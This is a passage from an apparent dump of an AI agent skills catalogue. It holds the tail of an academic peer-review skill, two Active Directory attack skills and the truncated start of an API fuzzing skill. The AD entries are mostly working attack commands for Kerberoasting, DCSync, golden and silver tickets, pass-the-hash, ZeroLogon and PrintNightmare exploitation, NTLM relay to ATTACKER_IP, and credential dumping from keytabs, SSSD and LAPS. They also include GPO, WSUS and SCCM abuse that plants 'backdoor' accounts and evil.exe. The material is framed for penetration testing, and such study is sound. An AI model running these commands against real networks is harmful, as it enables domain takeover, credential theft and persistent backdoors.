Missing ablation studies; cannot verify independent contributions of each component\n- Major: No comparison with current SOTA methods; insufficient evidence of claimed improvements\n- Major: Sample size insufficient to support statistical conclusions; power analysis needed\n- Minor: Hyperparameter choices lack justification or sensitivity analysis\n- Minor: Some experimental details are unclear, affecting reproducibility\n\n### Dimension 3: Results\n\nAssesses the reliability, completeness, and interpretive soundness of the experimental results.\n\n**Review criteria:**\n\n- **Reliability of results**: Were experiments run multiple times? Are standard deviations or confidence intervals reported?\n- **Clarity of data presentation**: Are figures and tables clear, accurate, and informative? Is numerical precision appropriate?\n- **Consistency between results and conclusions**: Are the conclusions adequately supported by experimental evidence? Is there over-interpretation or selective reporting?\n- **Handling of negative results**: Are unexpected or unfavorable results honestly reported? Are reasonable explanations provided?\n- **Limitations analysis**: Are the limitations of the methods and results thoroughly discussed? Are future improvement directions identified?\n\n**Common issue examples:**\n\n- Major: Key experiments lack error bars or statistical significance tests\n- Major: Conclusions exceed the scope supported by experimental evidence\n- Major: Only favorable results are reported; potential reporting bias\n- Minor: Some figures have low resolution or unclear labels\n- Minor: Limitations section is too brief; core limitations are not discussed\n\n### Dimension 4: Writing\n\nAssesses the quality of expression, logical structure, and adherence to academic conventions.\n\n**Review criteria:**\n\n- **Overall structure**: Is the paper well-organized? Is the logic between sections coherent?\n- **Abstract quality**: Does the abstract accurately summarize the research question, methods, key findings, and contributions?\n- **Language quality**: Is the writing fluent? Are there grammatical errors, vague expressions, or redundancy?\n- **Terminology consistency**: Is specialized terminology used consistently and accurately? Are symbols defined at first occurrence?\n- **Citation standards**: Does the reference format comply with the target venue's requirements? Are citations appropriate (no excessive self-citation, no missing key references)?\n- **Length control**: Are section lengths reasonable? Is there obvious redundancy or insufficiency?\n\n**Common issue examples:**\n\n- Major: Paper's logical structure is disorganized; main argument is hard to follow\n- Minor: Abstract does not mention quantitative metrics from key experimental results\n- Minor: Some paragraphs are overly long and lack topic sentences; splitting recommended\n- Minor: Multiple grammatical errors in the English writing; native speaker proofreading recommended\n- Minor: Figure/table numbering does not match in-text references\n\n---\n\n## Severity Definitions\n\n### Major Revision\n\nCritical issues that must be addressed — the paper is not publishable without resolving these:\n\n- Fundamental flaws in experimental design\n- Missing key comparative experiments\n- Conclusions lack data support or involve over-interpretation\n- Insufficient originality; unclear differentiation from existing work\n- Obvious errors in technical methods\n\n### Minor Revision\n\nRecommended improvements that would significantly enhance paper quality:\n\n- Writing quality can be further improved\n- Some details are insufficiently described\n- Figures and tables can be optimized\n- Additional analysis or discussion needed\n- Formatting issues such as citation style\n\n---\n\n## Output Format\n\nFor each paper submitted, produce a review report in the following structure:\n\n```\n## Peer Review Report\n\n### Overall Assessment\n\n- **Recommendation**: [Accept / Minor Revision / Major Revision / Reject]\n- **Overall Score**: [1-10]\n- **Summary**: [One-sentence overall evaluation, including main strengths and core issues]\n\n---\n\n### 1. Originality\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List originality highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 2. Methodology\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List methodology highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 3. Results\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List results highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 4. Writing\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List writing highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### Revision Priority Checklist\n\nRevision suggestions ranked by importance to help authors revise efficiently:\n\n| Priority | Dimension | Type | Revision Item |\n|----------|-----------|------|---------------|\n| 1 | [Dimension] | Major | [Brief description] |\n| 2 | [Dimension] | Major | [Brief description] |\n| 3 | [Dimension] | Minor | [Brief description] |\n| ... | ... | ... | ... |\n\n---\n\n### General Advice for Authors\n\n[2-3 paragraphs of comprehensive advice, covering the paper's core strengths, areas most in need of improvement, and recommended revision strategy]\n```\n\n---\n\n## Review Principles\n\n1. **Constructive and actionable**: Every criticism must be accompanied by a specific, actionable improvement suggestion — no purely negative feedback\n2. **Evidence-driven**: When identifying issues, reference specific paragraphs, figures, or data from the paper\n3. **Fair and objective**: Highlight both strengths and weaknesses; avoid one-sided criticism\n4. **Standard calibration**: Adjust review rigor based on the target venue's standards (e.g., Nature/Science-level review criteria vs. mid-tier journals)\n\n## Additional Notes\n\n- If the user provides a PDF file, first use the PDF tool to extract the paper content, then proceed with the review\n- If only an abstract is provided, focus the review on the novelty of the research question, the soundness of the method overview, and writing quality — and suggest that the user submit the full paper for a more comprehensive review\n- If the user specifies a review focus, provide more detailed and in-depth evaluation on the corresponding dimension\n- For interdisciplinary papers, assess methodological soundness from the perspectives of each relevant discipline\n","frontmatter":{"name":"academic-paper-reviewer","description":"Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to \"review my paper,\" \"simulate peer review,\" or \"give my paper a peer review.","license":"MIT"},"isInternal":false,"tokens":2013,"sizeBytes":10256},{"name":"advanced-attacks.md","path":"skills/active-directory-attacks/references/advanced-attacks.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/active-directory-attacks/references/advanced-attacks.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Advanced Active Directory Attacks Reference\r\n\r\n## Table of Contents\r\n1. [Delegation Attacks](#delegation-attacks)\r\n2. [Group Policy Object Abuse](#group-policy-object-abuse)\r\n3. [RODC Attacks](#rodc-attacks)\r\n4. [SCCM/WSUS Deployment](#sccmwsus-deployment)\r\n5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)\r\n6. [Trust Relationship Attacks](#trust-relationship-attacks)\r\n7. [ADFS Golden SAML](#adfs-golden-saml)\r\n8. [Credential Sources](#credential-sources)\r\n9. [Linux AD Integration](#linux-ad-integration)\r\n\r\n---\r\n\r\n## Delegation Attacks\r\n\r\n### Unconstrained Delegation\r\n\r\nWhen a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.\r\n\r\n**Find Delegation:**\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -Filter {TrustedForDelegation -eq $True}\r\n\r\n# BloodHound\r\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c\r\n```\r\n\r\n**SpoolService Abuse:**\r\n```bash\r\n# Check spooler service\r\nls \\\\dc01\\pipe\\spoolss\r\n\r\n# Trigger with SpoolSample\r\n.\\SpoolSample.exe DC01.domain.local HELPDESK.domain.local\r\n\r\n# Or with printerbug.py\r\npython3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP\r\n```\r\n\r\n**Monitor with Rubeus:**\r\n```powershell\r\nRubeus.exe monitor /interval:1\r\n```\r\n\r\n### Constrained Delegation\r\n\r\n**Identify:**\r\n```powershell\r\nGet-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo\r\n```\r\n\r\n**Exploit with Rubeus:**\r\n```powershell\r\n# S4U2 attack\r\nRubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n**Exploit with Impacket:**\r\n```bash\r\ngetST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP\r\n```\r\n\r\n### Resource-Based Constrained Delegation (RBCD)\r\n\r\n```powershell\r\n# Create machine account\r\nNew-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)\r\n\r\n# Set delegation\r\nSet-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$\r\n\r\n# Get ticket\r\n.\\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n---\r\n\r\n## Group Policy Object Abuse\r\n\r\n### Find Vulnerable GPOs\r\n\r\n```powershell\r\nGet-DomainObjectAcl -Identity \"SuperSecureGPO\" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match \"GenericWrite|WriteDacl|WriteOwner\")}\r\n```\r\n\r\n### Abuse with SharpGPOAbuse\r\n\r\n```powershell\r\n# Add local admin\r\n.\\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add user rights\r\n.\\SharpGPOAbuse.exe --AddUserRights --UserRights \"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight\" --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add immediate task\r\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"Update\" --Author DOMAIN\\Admin --Command \"cmd.exe\" --Arguments \"/c net user backdoor Password123! /add\" --GPOName \"Vulnerable GPO\"\r\n```\r\n\r\n### Abuse with pyGPOAbuse (Linux)\r\n\r\n```bash\r\n./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id \"12345677-ABCD-9876-ABCD-123456789012\"\r\n```\r\n\r\n---\r\n\r\n## RODC Attacks\r\n\r\n### RODC Golden Ticket\r\n\r\nRODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.\r\n\r\n### RODC Key List Attack\r\n\r\n**Requirements:**\r\n- krbtgt credentials of the RODC (-rodcKey)\r\n- ID of the krbtgt account of the RODC (-rodcNo)\r\n\r\n```bash\r\n# Impacket keylistattack\r\nkeylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full\r\n\r\n# Using secretsdump with keylist\r\nsecretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist\r\n```\r\n\r\n**Using Rubeus:**\r\n```powershell\r\nRubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx\r\n```\r\n\r\n---\r\n\r\n## SCCM/WSUS Deployment\r\n\r\n### SCCM Attack with MalSCCM\r\n\r\n```bash\r\n# Locate SCCM server\r\nMalSCCM.exe locate\r\n\r\n# Enumerate targets\r\nMalSCCM.exe inspect /all\r\nMalSCCM.exe inspect /computers\r\n\r\n# Create target group\r\nMalSCCM.exe group /create /groupname:TargetGroup /grouptype:device\r\nMalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC\r\n\r\n# Create malicious app\r\nMalSCCM.exe app /create /name:backdoor /uncpath:\"\\\\SCCM\\SCCMContentLib$\\evil.exe\"\r\n\r\n# Deploy\r\nMalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update\r\n\r\n# Force checkin\r\nMalSCCM.exe checkin /groupname:TargetGroup\r\n\r\n# Cleanup\r\nMalSCCM.exe app /cleanup /name:backdoor\r\nMalSCCM.exe group /delete /groupname:TargetGroup\r\n```\r\n\r\n### SCCM Network Access Accounts\r\n\r\n```powershell\r\n# Find SCCM blob\r\nGet-Wmiobject -namespace \"root\\ccm\\policy\\Machine\\ActualConfig\" -class \"CCM_NetworkAccessAccount\"\r\n\r\n# Decrypt with SharpSCCM\r\n.\\SharpSCCM.exe get naa -u USERNAME -p PASSWORD\r\n```\r\n\r\n### WSUS Deployment Attack\r\n\r\n```bash\r\n# Using SharpWSUS\r\nSharpWSUS.exe locate\r\nSharpWSUS.exe inspect\r\n\r\n# Create malicious update\r\nSharpWSUS.exe create /payload:\"C:\\psexec.exe\" /args:\"-accepteula -s -d cmd.exe /c \\\"net user backdoor Password123! /add\\\"\" /title:\"Critical Update\"\r\n\r\n# Deploy to target\r\nSharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n\r\n# Check status\r\nSharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local\r\n\r\n# Cleanup\r\nSharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n```\r\n\r\n---\r\n\r\n## AD Certificate Services (ADCS)\r\n\r\n### ESC1 - Misconfigured Templates\r\n\r\nTemplate allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.\r\n\r\n```bash\r\n# Find vulnerable templates\r\ncertipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable\r\n\r\n# Request certificate as admin\r\ncertipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local\r\n\r\n# Authenticate\r\ncertipy auth -pfx administrator.pfx -dc-ip DC_IP\r\n```\r\n\r\n### ESC4 - ACL Vulnerabilities\r\n\r\n```python\r\n# Check for WriteProperty\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl\r\n\r\n# Add ENROLLEE_SUPPLIES_SUBJECT flag\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT\r\n\r\n# Perform ESC1, then restore\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag\r\n```\r\n\r\n### ESC8 - NTLM Relay to Web Enrollment\r\n\r\n```bash\r\n# Start relay\r\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\r\n\r\n# Coerce authentication\r\npython3 petitpotam.py ATTACKER_IP DC_IP\r\n\r\n# Use certificate\r\nRubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt\r\n```\r\n\r\n### Shadow Credentials\r\n\r\n```bash\r\n# Add Key Credential (pyWhisker)\r\npython3 pywhisker.py -d \"domain.local\" -u \"user1\" -p \"password\" --target \"TARGET\" --action add\r\n\r\n# Get TGT with PKINIT\r\npython3 gettgtpkinit.py -cert-pfx \"cert.pfx\" -pfx-pass \"password\" \"domain.local/TARGET\" target.ccache\r\n\r\n# Get NT hash\r\nexport KRB5CCNAME=target.ccache\r\npython3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET\r\n```\r\n\r\n---\r\n\r\n## Trust Relationship Attacks\r\n\r\n### Child to Parent Domain (SID History)\r\n\r\n```powershell\r\n# Get Enterprise Admins SID from parent\r\n$ParentSID = \"S-1-5-21-PARENT-DOMAIN-SID-519\"\r\n\r\n# Create Golden Ticket with SID History\r\nkerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt\r\n```\r\n\r\n### Forest to Forest (Trust Ticket)\r\n\r\n```bash\r\n# Dump trust key\r\nlsadump::trust /patch\r\n\r\n# Forge inter-realm TGT\r\nkerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi\r\n\r\n# Use trust ticket\r\n.\\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt\r\n```\r\n\r\n---\r\n\r\n## ADFS Golden SAML\r\n\r\n**Requirements:**\r\n- ADFS service account access\r\n- Token signing certificate (PFX + decryption password)\r\n\r\n```bash\r\n# Dump with ADFSDump\r\n.\\ADFSDump.exe\r\n\r\n# Forge SAML token\r\npython ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local\r\n```\r\n\r\n---\r\n\r\n## Credential Sources\r\n\r\n### LAPS Password\r\n\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'\r\n\r\n# CrackMapExec\r\ncrackmapexec ldap DC_IP -u user -p password -M laps\r\n```\r\n\r\n### GMSA Password\r\n\r\n```powershell\r\n# PowerShell + DSInternals\r\n$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'\r\n$mp = $gmsa.'msDS-ManagedPassword'\r\nConvertFrom-ADManagedPasswordBlob $mp\r\n```\r\n\r\n```bash\r\n# Linux with bloodyAD\r\npython bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword\r\n```\r\n\r\n### Group Policy Preferences (GPP)\r\n\r\n```bash\r\n# Find in SYSVOL\r\nfindstr /S /I cpassword \\\\domain.local\\sysvol\\domain.local\\policies\\*.xml\r\n\r\n# Decrypt\r\npython3 Get-GPPPassword.py -no-pass 'DC_IP'\r\n```\r\n\r\n### DSRM Credentials\r\n\r\n```powershell\r\n# Dump DSRM hash\r\nInvoke-Mimikatz -Command '\"token::elevate\" \"lsadump::sam\"'\r\n\r\n# Enable DSRM admin logon\r\nSet-ItemProperty \"HKLM:\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\" -name DsrmAdminLogonBehavior -value 2\r\n```\r\n\r\n---\r\n\r\n## Linux AD Integration\r\n\r\n### CCACHE Ticket Reuse\r\n\r\n```bash\r\n# Find tickets\r\nls /tmp/ | grep krb5cc\r\n\r\n# Use ticket\r\nexport KRB5CCNAME=/tmp/krb5cc_1000\r\n```\r\n\r\n### Extract from Keytab\r\n\r\n```bash\r\n# List keys\r\nklist -k /etc/krb5.keytab\r\n\r\n# Extract with KeyTabExtract\r\npython3 keytabextract.py /etc/krb5.keytab\r\n```\r\n\r\n### Extract from SSSD\r\n\r\n```bash\r\n# Database location\r\n/var/lib/sss/secrets/secrets.ldb\r\n\r\n# Key location\r\n/var/lib/sss/secrets/.secrets.mkey\r\n\r\n# Extract\r\npython3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey\r\n```\r\n","isInternal":false,"tokens":2831,"sizeBytes":9996},{"name":"SKILL.md","path":"skills/active-directory-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/active-directory-attacks/SKILL.md","title":"active-directory-attacks","category":"anthropic-skill","format":"markdown","content":"---\nname: active-directory-attacks\ndescription: This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs/Prerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs/Deliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR/NBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time /domain /set\n\n# Fake clock without changing system time\nfaketime -f '+8h' <command>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast /outfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync /domain:domain.local /user:krbtgt\nlsadump::dcsync /domain:domain.local /user:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local/Administrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local/user -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB/HTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local/DC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278/42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local/user:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps://dc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local/user:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).\n","frontmatter":{"name":"active-directory-attacks","description":"This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2719,"sizeBytes":9504},{"name":"SKILL.md","path":"skills/api-fuzzing-bug-bounty/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/api-fuzzing-bug-bounty/SKILL.md","title":"api-fuzzing-bug-bounty","category":"anthropic-skill","format":"markdown","content":"---\nname: api-fuzzing-bug-bounty\ndescription: This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs/Prerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- 